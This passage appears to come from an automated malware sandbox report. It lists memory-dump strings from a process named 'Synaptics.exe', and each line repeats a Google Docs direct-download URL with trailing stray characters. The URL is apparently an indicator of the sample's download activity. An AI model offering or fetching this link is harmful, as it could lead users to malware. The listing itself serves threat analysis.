Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl%
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlI
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadla
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle(b
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle-a
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle8
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlej
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme%
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy.
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy1
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy5
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy9
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllL
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllem
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemD
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemeV
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemed
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemes
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmM
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmad
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmainQ
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme.g_
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmooo2
Source: Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmr
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmu
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmz
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn0
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadna
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnb
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncH
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell7
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncellJ
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetl
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetl6
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetleO
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetlei
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetlep
Source: Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4155336317.000000003D06F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniLa
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnit
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyorR
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnn
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnyDUhn1
Source: Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado.
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoD
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoJ
